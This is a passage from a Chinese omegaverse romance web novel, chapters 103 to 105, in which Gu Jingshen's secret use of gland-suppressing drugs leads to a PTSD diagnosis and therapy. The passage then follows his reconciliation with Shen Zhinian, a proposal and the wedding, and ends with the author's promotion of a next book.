腺体上面信息素波动有一点微弱,但是这紧紧是因为主人还在沉睡,不管怎么看,这都算是一个比较健康的腺体。 不用掀开被子看就知道两个人之间发生了什么。 毕竟整个房间花香味和柑橘香气的信息素都纠缠在一起。 顾景深的腺体好了。 沈之年心里清楚的意识到这一点,他当然不会觉得顾景深这次因为他的发情期突然恢复正常…… 这怎么可能呢,只有小说才会有这样的事情。 顾景深的腺体很早就恢复了。 顾景深骗了他。 沈之年看着躺在一边的顾景深,目光沉沉,看不出什么情绪…… 第103章 “恭喜你们, 顾先生的腺体恢复得非常好,经过这次陪着沈先生度过发情期,信息素波动已经趋于稳定, 基本恢复到了受损前的状态,后续再好好调养,不用多久就能完全恢复正常了。” 沈之年瞬间愣住了,眼底满是难以置信, 他猛地转头看向顾景深,又回头看向医生:“医生, 您说的是真的?他的腺体, 真的基本恢复了?” “当然是真的, ”医生点了点头,指着报告上的指标解释道,“你看,这些指标都已经恢复正常,信息素也能正常微弱释放,虽然还不能高强度调动, 但已经没有大碍了。这次陪着你度过发情期,信息素的自然共鸣反而刺激了腺体恢复,也算是意外之喜。” 说完,医生有一些腼腆的笑笑, “其实入如果没有这次意外, 顾先生最后也要经过发情期的检测,这样倒是省了很多事。” 医生一边说,一边压不住嘴角,“真是奇迹。” 百分百的匹配竟然能够有这么惊人的效果,这多是一个好的发现啊。 多是一个好的论文啊。 被论文压力折磨到谢顶的李医生摸摸自己的头发出一丝满意的喟叹—— 从医生诊室出来, 两人一路沉默着走向停车场,没有一句交流。车厢里的气氛压抑得让人喘不过气,顾景深握着方向盘,指尖因为用力而泛,头转向窗外,眼神空洞,手心全是冷汗。 他像是一个囚犯,再等待最后的审判。 车子缓缓驶离医院,行驶在清晨的街道上,路边的树木飞速后退,却丝毫缓解不了车厢里的压抑。 终于,沈之年率先打破了沉默,他的声音带着一丝不易察觉的颤抖,语气里满是质问:“顾景深,你是不是早就知道,你的腺体在恢复?” 顾景深的身体猛地一僵,肩膀微微颤抖,没有回头,也没有说话,像是在逃避这个问题。 “先回家。”顾景深不回答,沈之年只是叹气。 医生说是因为他们的契合度,沈之年才不信。 怎么可能是奇迹。 其实今天早上他就意识到了,只是等到和顾景深一起看完医生才发问。 但是顾景深显然不打算回答这个问题,或者说还没有想好怎么回答这个问题,一进家门就钻进了厨房里。 沈之年的火气突然涌上了心头,他紧跟着顾景深进了厨房。 我问你话呢!”沈之年的声音陡然提高,“顾景深,你看着我!医生说你的腺体基本恢复了,这是好事,我们盼了这么久,你为什么要瞒着我?你到底瞒了我多久?” 情绪来的很突然,也算不上突然,只是沈之年想不明白,为什么他和顾景深总是得不到幸福。 这样的事情,那样的事情层出不穷。 他爱顾景深的时候,顾景深回避他。, 顾景深后悔的时候,他又觉得心冷。 好不容易两个人心意相通了,又是一场绑架,顾景深的腺体还被伤了。 现在终于他的腺体好了,究竟是为什么! 顾景深缓缓转过头,他不敢直视沈之年的目光,声音沙哑得几乎听不清:“对……对不起……” “你怎么瞒过医生。” “我吃了抑制腺体能力的药,可以维持腺体失效的状态。” “我……我半个月前就发现腺体有恢复的迹象了,我怕……我怕你知道后,就不需要我了,就会离开我了。” “离开你?”沈之年愣住了,语气里满是不解和愤怒,“顾景深,你到底在想什么?你的腺体恢复了,是我们最期盼的事情,我高兴都来不及,怎么会离开你?你为什么会有这样的想法?” “我害怕失去你!”顾景深突然情绪崩溃,他猛地抱住自己的头,蹲在床边,肩膀剧烈地颤抖着,声音里充满了绝望和恐惧,“我害怕我的腺体恢复了,你就不需要我了;我害怕我变回以前那个强势的样子,你会觉得我不好,会离开我;我更害怕,我怕你只是因为我腺体受损,同情我、可怜我,才一直陪着我,我不能失去你!” “你疯了吗?!”沈之年的声音陡然拔高,语气里满是愤怒和不解,他伸手抓住顾景深的胳膊,力道大得几乎要捏疼他,“顾景深,你知不知道你在做什么?抑制药对身体有多大的伤害你不知道吗?你为了隐瞒我,竟然不惜伤害自己的身体,你把我当什么了?把你自己当什么了?那些全都不是你伤害自己的理由啊!” “我只是不想失去你!”顾景深用力甩开他的手,情绪变得更加激动,泪水流得更凶了,“我除了你,什么都没有了!我哥没了,我爸妈根本不在乎我,只有你,只有你把我放在心上。如果失去你,我活着还有什么意义?就算伤害自己,我也要一直陪着你!” “陪着我?”沈之年看着他,急促了呼吸了几次,“你以为这样就是陪着我吗?你以为瞒着我、伤害自己,就是对我好吗?” “我不想让你担心!” “你这样才是让我最担心的!” 两人的争吵越来越激烈,声音越来越大,甚至惊动了隔壁的林之白。 沈之年甚至觉得自己的头脑有一点发昏, “顾景深,你告诉我,你到底吃了多久的抑制药?有没有去看过医生?身体有没有什么不舒服?” 顾景深没有回答他的问题,只是蹲在地上,双手抱着头,嘴里不停地呢喃着:“我不想失去你……之年,我不能失去你……我哥不在了,我不能再失去你了……” 沈之年愣住了。 顾景深的话,有些语无伦次。 沈之年冷冷的看着他:“顾景深,你看着我,我没有要离开你,我和你说过很多次,我会一直陪着你。” “我怎么相信你,我是一个这样的烂人,我伤害过你,我伤透了你的心,你真的会真心实意的爱我么?” “我爸妈都吗没那么爱我,年年。” 沈之年最后也只能沉沉的看着顾景深,“顾景深,你是不是有病,我带你去看医生好么?” “精神科医生。” 沈之年仔细回想顾景深状态,曾经种种都先全然不提,但是至少顾景深在他腺体受伤之后的表现是完全不正常的。 沈之年不知道承诺过几次,但是顾景深还是患得患失。 甚至要吃抑制腺体的药来保障自己的安全,就只是因为他承诺过在他的腺体完全好之前不会离开他。 这完全不是顾景深这样的人会做出的选择,这里的逻辑就不通。 沈之年用力把跪在地上的顾景深拽起来,顾景深duang大一个,沈之年反而被拽的一个趔趄。 幸好,顾景深还保留一定的理智,他很快就顺着沈之年的力气战了起来。 顺从的跟着沈之年走出了门—— 车子很快就到了医院,沈之年和顾景深,匆匆走进精神科门诊。医生看到顾景深的状态,立刻进行了初步的问诊和检查,又详细询问了沈之年,顾景深最近的情绪状态、行为表现,还有过往的经历。 检查和问诊持续了一个多小时,沈之年坐在诊室外面,心里满是忐忑和担忧,每一分每一秒都过得格外漫长。终于,诊室的门打开了,医生走了出来,脸色有些严肃。 “医生,他怎么样了?”沈之年立刻站起身,语气急切地问道。 医生轻轻叹了口气,示意他们坐下,缓缓说道:“根据检查和问诊的结果,病人目前确诊为‘创伤后应激障碍伴焦虑抑郁状态’,核心创伤根源是长期的原生家庭忽视、情感剥夺,以及兄长离世带来的丧失创伤,腺体受损则是压垮他的最后一根稻草。” “创伤后应激障碍?”沈之年愣住了,语气里满是不解,“医生,什么是创伤后应激障碍?他怎么会得这个病?” “关系非常大,”医生缓缓解释道,“创伤后应激障碍,简单来说,就是病人经历过或者目睹过异乎寻常的创伤事件后,出现的长期心理障碍。病人从小被原生家庭忽视,父母重男轻女、父亲封建爱钱、母亲情感缺失,他长期处于被忽略、被散养的状态,缺乏安全感和情感支持,兄长是他唯一的依靠,而兄长的离世,让他失去了唯一的精神支柱,这是他最初的核心创伤。” “兄长离世后,他被强行压上家庭的重担,被父亲逼迫着变强,进一步加剧了他的心理压力和自我否定。后来,作为曾经的顶级Alpha,腺体受损、无法释放信息素,让他失去了唯一能证明自己价值的方式,也让他深埋心底的自卑和被抛弃的恐惧彻底爆发。” “加上他后来一直刻意隐瞒自己的状态,偷偷吃抑制药,长期处于自我压抑、自我否定的状态,情绪得不到宣泄,久而久之,就引发了创伤后应激障碍,同时伴随焦虑和抑郁的症状,无法正确的对待情感,前期过于回避吗,在接受之后,又患得患失,不能接受失去,都是创伤后应激障碍的典型表现。” 医生顿了顿,继续说道:“他现在的心理状态很脆弱,很容易被外界的刺激触发情绪波动,甚至会陷入自我否定和恐惧之中,刚才你们的争吵,就是一个强烈的刺激,导致他的症状爆发了。他的恐惧,本质上是对‘被抛弃’的恐惧,源于原生家庭的忽视和兄长的离世,腺体受损只是让这份恐惧变得更加极端。” 沈之年的心里像被重锤砸了一下。 “医生,那他现在该怎么办?能治好吗?”沈之年的声音带着一丝哽咽,眼底满是自责和担忧,“都是我的错,我没有早点发现他的异常,没有好好安抚他,没有耐心倾听他的过往,还和他争吵,刺激到他了。” “你也不用太自责,”医生看着他,语气温和了一些,“病人的症状虽然比较明显,但好在发现得不算太晚,只要积极配合治疗,按时服药、定期进行心理疏导,慢慢调整心态,是可以逐渐恢复的。” “首先,要停止服用那种抑制腺体的药,那种药会加重他的心理负担,也会对身体造成伤害,不利于他的恢复。其次,要避免再刺激他,多给他一些陪伴和理解,多和他沟通,耐心倾听他心底的创伤,让他感受到安全感,让他知道,他不会被抛弃,他的价值,不在于腺体是否能释放信息素,也不在于能否赚钱,他本身就值得被爱。” “另外,我会给他开一些缓解焦虑、稳定情绪的药物,还有定期的心理疏导,重点帮他处理原生家庭的创伤和兄长离世的丧失之痛,你们要好好配合,多留意他的情绪变化,一旦出现异常,要及时带他过来复诊。” 沈之年点了点头,和大夫一起走进诊室。顾景深已经平静了一些,靠在椅子上,眼神依旧有些涣散,看到沈之年进来,立刻伸出手,紧紧抓住他的手,语气带着一丝不安:“年年,对不起,今天我不太理智,是不是吓坏你了?” 他看起来好正常,平静的像是一湖水,好像之前的那些争吵是沈之年自己的幻想一样。 沈之年在他身边坐下,紧紧握住他的手,“景深,我不会丢下你,” 他轻轻抚摸着顾景深的头发,声音哽咽,“我们还会在一起一辈子。” 顾景深看着他,眼底闪过一丝委屈,轻轻点了点头,紧紧抱住他的胳膊,将脸靠在他的肩膀上,声音沙哑:“年年,我只要你陪着我,我不想一个人,我再也不想一个人了。” “我陪着你,一直陪着你,”沈之年轻轻拍着他的背,温柔地安抚着他。 “我们先把病治好。”沈之年现在甚至有一点无奈,“你真狡猾,这样一病,之前那些事情都是因为病,我都不能怪你了。” 顾景深现在要冷静得多,刚才突然情绪崩溃的那个人对他来说也很遥远。‘ 在开始服用抑制药物之后,他不是没有察觉到不对劲,只是今天被沈之年点破才如同拨云见日。 他听得出沈之年是在开玩笑。 “那我真是要谢谢这个病,他救了我。” 第104章 走进诊室时, 顾景深的手心微微出汗,心里既有忐忑,也有一丝期待。 他深吸一口气, 松开沈之年的手,转身就要推开诊室的门,光脑却突然急促地响了起来,打破了走廊的宁静。 顾景深的身体猛地一僵, 下意识地停下动作,他缓缓点开光脑, 屏幕上跳动“父亲”两个字。 他深吸一口气, 按下了接听键, 声音冷得没有一丝温度,甚至带着一丝刻意的疏离:“喂。” 电话那头传来顾父不耐烦的声音,带着浓浓的功利与冷漠:“顾景深,你疯了,顾氏掌舵人有精神问题,你知道会给咱们家造成多大的麻烦么!” 没有一句关心, 没有一句问候,开口就是公司的利益,就是他的责任。 “哦,那也是我的顾家, 父亲。”说完, 顾景深就摁断了电话—— 医生示意沈之年在外面等候,单独和顾景深进行交谈。诊室里很安静,阳光透过窗户洒在桌面上,温暖而柔和,稍稍缓解了顾景深的紧张。医生坐在他对面, 语气温和,没有过多的寒暄,直接切入正题:“顾先生,今天感觉怎么样?情绪有没有平复一些?” 顾景深轻轻点了点头,双手放在膝盖上,指尖微微蜷缩:“好多了,谢谢医生。昨天……对不起,我昨天情绪太激动了。” “没关系,”医生笑了笑,语气温和,“你的情绪爆发,并不是坏事,积压了这么久的创伤和情绪,能释放出来,反而有利于后续的治疗。我知道,你已经意识到了自己的问题,也有了治疗的决心,这非常好。” “昨天你的情况其实我已经基本的了解,我和您说一下我的判断……” 顾景深抬眼看了看医生,打断了他,“医生,我知道我心理有问题,我也知道,这和我的原生家庭、和我哥的去世有关。我只是确实没想到竟然会影响到年年的生活。” 这是显而易见的事情,那样的家庭,顾宗翰这样的人,怎么可能能够养成健康的孩子,顾怀深这么多年的陪伴,他已经足够幸运。 他是这个家里病的最轻的一个人。 他没想要解决这一部分。 “星际社会,心理没有问题的才是少数吧。” 医生扶了扶眼镜,想要尽可能的保持比较专业的状态,但是还是没忍住勾起了嘴角。 “怎么了?” “顾先生,您是一个十分理智的人。” “顾先生,你能坦诚地说出这些,非常不容易。你说得很对,你的核心创伤,确实是原生家庭的忽视和兄长离世的丧失之痛。但你有没有意识到,你和沈先生的关系,虽然是你黑暗中的光,却也在无形中,加重了你的心理问题。” 顾景深愣住了,眼底满是不解:“和年年有关?怎么会?” “我家里的事情已经烂成那样,我也这么大的年纪,怎么也怪不到年年的身上。” “我知道沈先生很爱你,也一直陪着你,”医生轻轻叹了口气,缓缓解释道,“但正是因为这份爱,这份你视若珍宝、害怕失去的感情,让你变得更加偏执、更加自卑。你把沈先生当成了唯一的救命稻草,你害怕失去他,所以你拼命想抓住他,甚至不惜用伤害自己的方式,来维持‘你需要他’的假象。” “顾先生,恕我直言,你和沈先生之间的事情,我大约了解了一下,您和沈先生刚刚结婚的时候,您很恐惧建立一种过于亲密的关系,所以不停的推开沈先生,这确实和您原生家庭带来的情况有关系。 “但是你伤害了沈先生,您应该很明白吧,对于沈先生来说,你不是一个最好的选择。” “或者说,其实您比起薛先生差的多,您唯一的优势就是您和沈先生之间的高匹配度,所以失去信息素的时候您才会这么恐惧,您连最后一个优势都没有了。” “不管是从哪个层面来讲,你都比不上薛先生。”医生接着推了推眼睛,“或者说,如果是您在沈先生的位置上,您不会选择您自己,是这样么?” 顾景深露出一点苦笑,“医生,我应该是你的老板,你这样说话有一些太不留情面了。” 顾家的企业遍布各行各业,这家私人医院也是顾家的产业,所以顾景深才能够安心在这里治病。 医生好像是提前预料到这件事,出示了自己的账户流水,“事实上,我现在接受的是沈先生的私人雇佣,沈先生才是我的老板。” 顾景深无奈的摊手,示意医生继续。 “你假装腺体没有恢复,偷偷吃抑制药,本质上,是你内心的自卑在作祟——你觉得,只有你是脆弱的、需要被保护的,沈先生才不会离开你。你害怕自己恢复成以前的样子,害怕沈先生会不喜欢这样的你,那个伤害过他的你;你更害怕,一旦你不再需要他的照顾,他就会转身离开,就像你爸妈放弃你、你哥离开你一样。” “您很清楚,沈先生是一个心软的好人。” 医生的话剖开了顾景深心底最隐秘的想法,那些他自己都没有意识到的偏执和恐惧,被赤裸裸地摆在了阳光下。他张了张嘴,却一句话也说不出来。 “医生,你说的对,我该怎么办?”顾景深的声音沙哑,带着一丝绝望,“我伤害了年年,我怕他不会原谅我,我怕我再也留不住他了……” “别害怕,”医生语气温柔,轻轻拍了拍他的肩膀,“沈先生很爱你,他从来都没有想过要离开你。你现在要做的,不是沉浸在愧疚和恐惧里,而是勇敢地面对自己的错误,坦诚地和沈先生沟通。” “你可以试着,就着之前所有的事情,和沈先生好好道歉。” “更重要的是,你要把自己内心深处真正的想法,坦诚地告诉沈先生。”医生又推了推推眼镜,“您还没有得到沈先生的谅解,其实您很担心害怕吧,为什么不勇敢的去试试呢?” 顾景深没说话,垂着头,不点头也不摇头。 “那我就暂时当作我们今天的咨询就结束了。”医生说完之后摘下了眼镜,露出了那双可以算得上是锐利的眼睛。 “在咨询之外,顾先生,我有一些话和您讲,事实上,您这样的渣A我接待的不算多也不算少,”不是这个领域的权威,也不会被沈之年叫过来为顾景深治病。 “你不能算是最渣的,我见过渣A在老婆活着的时候爱答不理,同时出轨8个漂亮beta,还要带回家里去,等到老婆被逼死了又痛苦不堪,但是您也不是最好的……” “实话实说,渣A我并不喜欢,但是沈先生很真诚,您也很真诚,所以在工作之外,我希望和您说一些额外的话。” “您说家庭的部分您并不在意,我不觉得您不在意,您很怜悯溺爱您的母亲,也很爱早逝的哥哥,在处理原生家庭问题的时候,我还是希望您能够谨慎再谨慎,不要从一个极端走到另一个。” 顾景深站起身,轻轻和医生点了一下头,什么都没有说,就离开了—— 沈之年不被允许进入诊室,准确的说借着威严,顾景深刚刚进入诊室,沈之年就被医生赶走了,并且还严格勒令沈之年在晚上九点之前不允许回家。 但是沈之年是在是担心顾景深,在九点的时候,卡着点进了家门。 顾景深已经做好了一桌子的菜。 沈之年坐在顾景深的对面,刚想问问今天自咨询的结果,顾景深就突然开口,“这是我第一次给你做饭。” “啊?”沈之年的脑袋一瞬间没能反应过来,这句话好奇怪,两个人不知道一起吃过多少饭。 “很抱歉,之前我都没好好和你一起生活,其实我很害怕我们的生活牵扯的过于深入,所以总是逃避。” 顾景深好像是被治成大疯子了,沈之年蹭的站起身,就要问问大夫是怎么回事。 “等一下,我们聊聊。” 沈之年不由自主的停住了脚步,“我应该给你一个交代。” “其实那天,我想要离开,是因为我心理有些恐惧和你聊这个话题,那个时候我就在害怕你会离开了。” “她不是我之前的爱人,很抱歉,但是我必须保护他们。” 沉默。 沈之年意识到,这是他刚刚发现嫂子和恩恩的时候,其实他也没有想象中那样的不在意,那些曾经的场景如今依旧历历在目。 顾景深没再说话,但是也没有躲开沈之年的视线,相反,他甚至直直的看着沈之年。 良久,沈之年才开开口,“好,没关系,我相信你。” 听完沈之年的回答,顾景深本来紧紧皱起的眉毛才松开些许。 “我母亲如果给你打电话,你不要理会他,我不希望你掺和进我烂透了的家里,那些事情都不应该由你来承受。” “我母亲是一个可怜人,我有时候也不知道怎么面对她。” “恩恩的事情,也不能让他们知道。” “对不起,我应该和你说,今天你回爸爸家吃饭了?” “我也不应该说她没有坏心,只是任性惯了,你何必和他置气?,你收到的伤害都是真实的,我不应该看不到。” 露易丝的事情,现在的沈之年也心知肚明,而且从一开始,沈之年就不讨厌这个出手大方的婆婆。 “没关系,她出钱很大方,帮我们家解决了很多问题,只是嘴巴坏,我知道的。”沈之年缓缓的开口,“一个嘴巴坏的好人,胜过十个嘴巴好的坏人。” …… “那天你很生气,我还以为是妈妈和你说了什么?”” “我应该给你一个交代。” “我其实不想要离婚,在提出之前,我其实想的很好,我们离婚,我就能保护恩恩,你也不会这么绞尽我的家里,但是我提出的时候很害怕,那一瞬间我害怕你同意了。” “幸好你没有立刻同意,我当时都不敢停下来就躲开了。” 沈之年想起了那一天,先笑了起来,真没想到,原来顾景深当时是这么想的。 “接下来的内容,我们需要去书房聊么?” …… 现在顾景深不再对他保持着一个绅士的距离,这个书房目前是两个人公用的,也摆满了沈之年选择的那些毛绒绒,充满生活气息的可爱小摆件。 顾景深没有过多的解释,“恩恩是我哥哥的孩子,但是目前我并没有在顾宗汉手里完美保护恩恩的能力,我不能把他送到顾宗翰的面前,希望你能够帮帮我。” “我也想把我手里的钱全都给你。”顾景深说到这里的时候,微微的抿嘴笑了一下,想把一切献给心爱的Omega是Alpha的本能,就连顾景深也不能免俗, 那时候他还意识不到自己爱沈之年,已经下意识的做出了选择。 “恩恩,我可以接受。”沈之年开口,“他是你的侄子,哥哥已经去世了,嫂子一个人不容易,我们生活并不困顿,于情于理都应该保护恩恩。” “更何况恩恩那么可爱。” 顾景深就先开口,“这是一个活生生的孩子,你还小,可能不懂这是什么意思。这会影响很多事情,这代表我没办法全新投入到我们的家庭里,我的精力永远都会分给恩恩一部分,甚至可能会威胁到以后你和我的孩子。” 顾景深说到一半,不由得放缓了声调,“以你的条件,离开我之后可以很轻松的找到一个很好的Alpha。” 沈之年很认真的听完顾景深的话,“首先,我并不比你小很多。” “其次,恩恩作为一个孩子,他需要照顾,而且,顾先生你太小瞧我了,我是Omega学院最优秀的毕业生。偶尔照顾一个孩子,和吃饭喝水一样轻松,” “但是你要答应我,我的条件作为补偿。”沈之年说完之后轻轻的和顾景深眨泪下眼睛。 自顾自的抽出一张纸,开始写他的计划。笔尖摩擦纸面,发出轻微的沙沙声。 不过一小会儿,沈之年就写好了。 他把纸张递给顾景深。 顾景深没有第一时间就看那张纸条,而是开口,“谢谢你,那个时候还愿意给我一个机会,那段时间,我过的很幸福。” “谢谢你原谅我。”《 》 第105章 正文完 第105章 正文完 深秋的阳光温柔得恰到好处, 透过精神科诊室的玻璃窗,落在地板上,晕开一片暖融融的光晕。 沈之年依旧坐在诊室外面的长椅上, 手里攥着一杯温热的温水,目光始终落在诊室的门上,眼底藏着一丝不易察觉的忐忑。 这是顾景深最后一次复查,不知道最后结果如何。 诊室的门终于被推开, 医生走了出来,脸上带着欣慰的笑容, 沈之年立刻站起身, 快步迎了上去, 语气急切又带着一丝小心翼翼:“医生,景深他怎么样了?是不是有好转了?” 医生笑着点了点头,拍了拍沈之年的肩膀,语气温和而坚定:“沈先生,恭喜你,也恭喜顾先生。经过这半年的治疗和调理, 顾先生的恢复情况非常好,创伤后应激障碍伴焦虑抑郁状态已经基本缓解,情绪趋于稳定,也能够正确认知自己的价值, 不再被原生家庭的创伤束缚, 更能够坦然面对过往的痛苦和恐惧。” 沈之年的心脏猛地一跳,“医生,您的意思是……景深他,已经好了吗?” “可以这么说,”医生点了点头, 继续说道,“从专业角度来看,顾先生的心理状态已经基本恢复正常,和普通人没有区别,后续只要保持良好的心态,避免过度刺激,偶尔过来复诊巩固一下,就不需要再长期服药和进行密集的心理疏导了。” 之前顾景深的状态一直稳定向好,最后有这样的结果沈之年其实并不意外,但是真的听到医生宣布顾景深痊愈的时候,沈之年还是真心露出了笑容。 医生看着两人相握的手,脸上露出了欣慰的笑容:“顾先生,沈先生,以后一定要保持良好的心态,多沟通、多陪伴,彼此珍惜,后续记得按时复诊。” 离开医院,阳光洒在两人身上,温暖而耀眼,微风拂过,带着深秋的清爽。 “景深,我们回家吧,”沈之年轻轻晃了晃顾景深的手,“今天爸爸特意叫我们回家吃饭,不知道会不会给你做你最爱吃的菜,我们好好庆祝一下,庆祝你彻底好起来。” 能登上岳丈的门,顾景深当然很开心,但是看到沈之年现在开心,他更开心。 顾景深点了点头,眼底满是温柔,紧紧回握着沈之年的手:“好,听你的,我们回家。”—— 车子缓缓驶离医院,朝着家的方向而去。 回到沈家,顾景深立刻冲进厨房,系上围裙,忙碌了起来。 名义上,今天是为了庆祝他的身体变好,但是一个好的O婿是有眼色的! 他一直很努力,但是因为之前的事情,他在老丈人家里的好感度基数实在是太小了,他处处表现,也没能超过薄斯年在沈家的地位。 从小到大一直优秀的顾总,第一次尝到了滑铁卢的滋味。 沈之年进门就被软软的小身体抱了一个满怀,家里竟然不只有沈奉月和林之白夫妇。 露易丝还有魏敏姝母子也在。 “叔叔,你回来了!” 沈之年低下头就看到恩恩的笑脸,小脸红扑扑的,显然刚才玩得很开心。 沈之年两只手穿过恩恩腋下把他抱起来,一瞬间几乎没有站稳,还是顾景深在身后撑了一下。 “长身体了。” 刚被抱起来,恩恩软软的小脸就贴上了沈之年的脸颊,“叔叔,我好想你啊。” 魏敏姝早就注意到这边的动静,“恩恩,快下来。” “没事。”沈之年没问魏敏姝怎么在这里,可能就是父亲邀请露易丝一家过来看看。 “孩子长的真快。”之前在学院的时候,育儿课老师讲过,孩子几天就一个样子,沈之年还是第一次感受到。 魏敏姝听完很是感慨的叹息一声,“嗯,这边的医疗条件很好,恩恩的病情已经基本控制住了,妈又投了很多钱大力科研,大夫说,可能恩恩长大之前就能找到治愈的办法了。” “而且,回来之后,生活条件也比之前好,所以最近长胖了很多,唉,要是长成一个小胖墩怎么办啊!” “恩恩的病情得到了控制,这真是一个好消息,”沈之年知道,因为恩恩的病,家里怎么样的折腾了一番,一时激动,在恩恩小面包一样的脸颊上亲了一下。 恩恩小脸瞬间通红,张开双手回到了妈妈怀里,把头埋在妈妈肩膀,再也不肯抬起来了。 客厅里,露易丝和沈奉月在聊天。 露易丝平时看起来高傲,真做到沈奉月身边,小学生一样,眼睛亮晶晶的听沈奉月说话,沈之年凑过去听了一耳朵, 沈奉月:“老头子有什么好啊,你就是想不开。” 露易丝:“是啊,现在回头看看,脸都和树皮差不多了,幸好我想的明白,现在分了老头子不少的钱,。” 沈奉月知道露易丝分到的钱不少,毕竟现在这位就是Omega协会最大的金主:“Alpha过了二十五马上就六十五,你有钱,生的又好,正是享受生活的时候啊……” 听到这句话,在不远处的伊桑“噌”的钻进健身房。 沈奉月马上要开始分享他使用以及挑选Alpha的经验,沈之年也不好意思再听。转头钻到厨房,自己搬了一个小凳子在厨房外看里面的倒影。 这种顾景深表现的时刻,沈之年还是不进去打扰了。 沈之年静静地看着顾景深忙碌的身影,阳光透过厨房的窗户,洒在顾景深的身上,给他镀上了一层温柔的光晕,莫名的就有了一丝岁月安稳的感觉。 没过多久,一桌子热气腾腾的饭菜就做好了,香气扑鼻,瞬间填满了整个屋子。 顾景深解下围裙,擦了擦手,笑着说道:“都过来吃饭吧,都是大家爱吃的,快尝尝,看看好不好吃。” 餐桌上,几人一边吃饭,一边聊着天,气氛温馨而热闹。沈之年絮絮叨叨地说着以后的计划,说等顾景深彻底巩固好身体,就带他去旅行,去看看外面的风景,去远离那些不愉快的人和事;说以后要一起做饭、一起散步、一起度过每一个平凡的日子…… 聊着聊着,顾景深发现今天林之白吃的不多,很快就放下筷子,“哥哥,今天的饭菜不合胃口么?” 林之白还是算不上喜欢顾景深,但是也能看到顾景深的改变,他希望弟弟幸福,就愿意去接受顾景深。 林之白脸上带着温柔的笑意,“当然不是,只不过……”林之白轻轻抚摸着自己的小腹,嘴角的笑意愈发温柔,一字一句地说道:“我怀孕了,已经快两个月了。” “可能是孩子不太喜欢。” 话音刚落,屋里瞬间安静了几秒,随即就听到沈之年一声短促的惊呼,这时候大家才都反应过来…… 沈之年激动地站起身,走到林之白身边:“哥,真的吗?太好了!你怎么不早说?有没有哪里不舒服?一定要好好休息,不能太累了。” 顾景深也露出了真心的笑容,对着林之白说道:“恭喜你,哥。” “像恩恩一样可爱就好了。”这是林之白第一次见到恩恩,不过林之白很喜欢这个孩子。 餐桌上的气氛愈发温馨,满是欢喜和圆满。 顾景深看着沈之年的眼睛,沉默了片刻,缓缓开口:“年年,你现在幸福么。” 沈之年愣住了,他不知道,顾景深这个问题是什么意思,“幸福,景深,现在这一刻是我最幸福的时候。” 现在简直就像一个小说的结尾,身边的所有人都得到了幸福,以后大家都会圆满而快乐的生活下去。 顾景深深吸一口气,像是做了很大的决心,他轻轻抽回自己的手,站起身,走到沈之年面前,缓缓单膝跪地…… 顾景深抬起头,看着沈之年的眼睛,眼底满是温柔和坚定:“年年,我知道,我以前很懦弱,很自私,我伤害过自己,也伤害过你,我让你担心,让你受委屈了。” “我一直很感谢你,愿意再次给我一个机会,如果你现在幸福的话……” 他顿了顿,眼神无比坚定,一字一句地说道:“沈之年,你愿意嫁给我吗?愿意给我一个机会,让我用一辈子的时间,好好爱你、守护你,让你一直幸福下去吗?” 沈之年坐在椅子上,早已泪流满面,他看着单膝跪地的顾景深,看着他脸上幸福的泪水,心里的喜悦和感动,几乎要将他淹没。他从来没有想过,顾景深会在这个时候,向他求婚。 沈之年用力点了点头,声音带着一丝哽咽,却充满了坚定和欢喜:“我愿意,景深,我愿意嫁给你!” 听到这句话,顾景深的脸上瞬间绽放出灿烂的笑容,他站起身,紧紧抱住沈之年,将他紧紧拥在怀里,力道大得像是要把他揉进自己的骨血里,声音沙哑却满是欢喜:“谢谢你,之年,谢谢你愿意嫁给我,谢谢你愿意陪我一辈子。”—— 顾景深和沈之年的婚礼,在一个阳光明媚的春日如期举行。 婚礼场地选在一处临湖的庭院,院子里铺满了洁白的玫瑰和浅紫色的铃兰,微风拂过,花香裹挟着湖水的清甜,漫溢在每一个角落。 木质的仪式台上,挂着两人的合照——沈之年身穿白色的西装依偎在顾景深的身边,两个人相互对视,含情脉脉。 婚纱照是新的,顾景深讨厌之前那次婚姻的一切,所有都要重新置办,好像害怕上次的晦气沾到自己。 上次是联姻,办的世纪婚礼全世界都知道,这次,顾景深只邀请了几个亲近的家人。 也只想要得到他们的祝福。 林之白穿着宽松的米白色礼服,小腹已微微隆起,被薄斯年小心翼翼地护在身边,脸上满是温柔的笑意,眼底藏着对两人的欣慰。 林之白是世界上最爱弟弟的哥哥,在这小两口的婚姻里,林之白也是最殚精竭虑的人,现在看到两个人幸福,难得也是概慨万千。 沈奉月站在一旁,穿着得体的深色礼服,看着眼前的一切,脸上露出了难得的柔和。 这不是沈之年第一次婚礼,但是这次沈之年真的走向了幸福。 前来祝福的人不多,都是彼此最亲近的人,没有喧嚣,只有满心的欢喜与真诚。 随着轻柔的音乐响起,沈之年牵着沈奉月的手,缓缓走向仪式台。他穿着一身简约的白色西装,身姿挺拔,眉眼温柔,目光穿过人群,直直落在仪式台另一端的顾景深身上,眼底的欢喜与深情,藏都藏不住。 顾景深站在台上,一身同色系的白色西装,衬得他愈发从容温润。他的目光紧紧追随着沈之年,指尖微微收紧,眼底泛起一层温热的光晕。 走到仪式台前,沈奉月轻轻拍了拍沈之年的手,将他的手,郑重地交到顾景深手中,语气温柔而郑重:“景深,年年交给你了,以后,一定要好好待他,好好守护他,再也不要让他受委屈。” 顾景深紧紧握住沈之年的手,指尖传来熟悉的温热,他抬眼看向林之白,语气坚定而真诚:“爸,你放心,我会的。这一辈子,我都会好好爱他,守护他,陪他走过每一个日子,绝不会让他再受一点苦。” 沈之年看着身边的顾景深,嘴角扬起温柔的笑容,轻轻回握着他的手,眼底满是安稳。 司仪的声音温柔响起,询问着两人的心意。 顾景深看着沈之年的眼睛,目光无比坚定,一字一句地说道:“往后余生,无论风雨晴暖,无论顺境逆境,我都会牵着你的手,坦诚相待,不离不弃,用一辈子的时间,好好爱你,守护你,给你一个安稳幸福的家。” 两人交换戒指,戒指是简约的素圈,没有华丽的装饰,却承载着彼此一辈子的承诺。 顾景深将戒指轻轻套在沈之年的手指上,指尖轻轻摩挲着他的手背,眼底满是珍视;沈之年也将另一枚戒指,套在顾景深的手指上,两人的手紧紧相握,再也没有松开。 台下,林之白眼眶泛红,沈奉月看着两人,脸上露出了欣慰的笑容,悄悄擦拭着眼角的湿润。 掌声响起,温柔而热烈,承载着所有人的祝福。 他们的故事已经结束了,两位王子会永远的幸福下去。 (正文完结)—— 作者有话说:推推预收《总裁,你老婆是神经病》 顾知聿家庭和谐,学历完美,事业顺利,是网络热议的优秀青年企业家,或者说霸道总裁 但他最近很苦恼。 他的秘书林云州,那个跟了他三年、做事滴水不漏的完美下属,病了。 病得不轻。 